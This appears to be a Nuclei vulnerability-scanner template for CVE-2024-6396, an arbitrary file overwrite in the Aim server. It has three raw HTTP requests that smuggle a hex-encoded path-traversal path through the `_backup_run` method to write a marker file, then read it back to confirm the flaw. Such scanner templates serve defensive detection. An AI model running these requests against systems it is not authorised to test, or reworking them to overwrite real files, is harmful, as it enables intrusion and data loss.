id: CVE-2024-6396 info: name: Aimhubio Aim Server 3.19.3 - Arbitrary File Overwrite author: iamnoooob,rootxharsh,pdresearch severity: critical description: | A vulnerability in the `_backup_run` function in aimhubio/aim version 3.19.3 allows remote attackers to overwrite any file on the host server and exfiltrate arbitrary data. The vulnerability arises due to improper handling of the `run_hash` and `repo.path` parameters, which can be manipulated to create and write to arbitrary file paths. This can lead to denial of service by overwriting critical system files, loss of private data, and potential remote code execution. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-6396 cwe-id: CWE-29 cpe: cpe:2.3:a:aimstack:aim:*:*:*:*:*:*:*:* metadata: max-request: 3 verified: true fofa-query: icon_hash="-1047157256" product: aim vendor: aimstack tags: cve,cve2024,aim,aimhubio,file-write variables: filename: "{{rand_base(7)}}" args: "{{ concat(hex_decode('000000000001000000060a000000fe0000000000000000fe004b000000042e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f707974686f6e332e392f736974652d7061636b616765732f61696d5f75692f6275696c642f'),filename, hex_decode('2e747874')) }}" http: - raw: - | POST /tracking/client_1/get-resource HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "resource_handler": "my_resource", "resource_type": "Repo", "args": "AAAAAAABAAAABw==" } - | POST /tracking/client_1/read-instruction HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "resource_handler": "my_resource", "method_name": "_backup_run", "args": "{{base64(args)}}" } - | @Host: http://{{Host}}:43800 GET /static-files/{{filename}}.txt HTTP/1.1 Host: {{Host}}:43800 matchers-condition: and matchers: - type: word part: body_1 words: - '{"handler":"my_resource"}' - type: word part: body_3 words: - "{{filename}}.txt" - type: word part: header_3 words: - "text/plain" # digest: 4b0a00483046022100dce3450fcc9930e84190bfe98f80f10406c83028d8464c1bef85343a87eb4508022100e4a10512f228d260e74f92e8a6c763fe311a8e548c65ee549f2bca371e370d77:922c64590222798bb761d5b6d8e72950
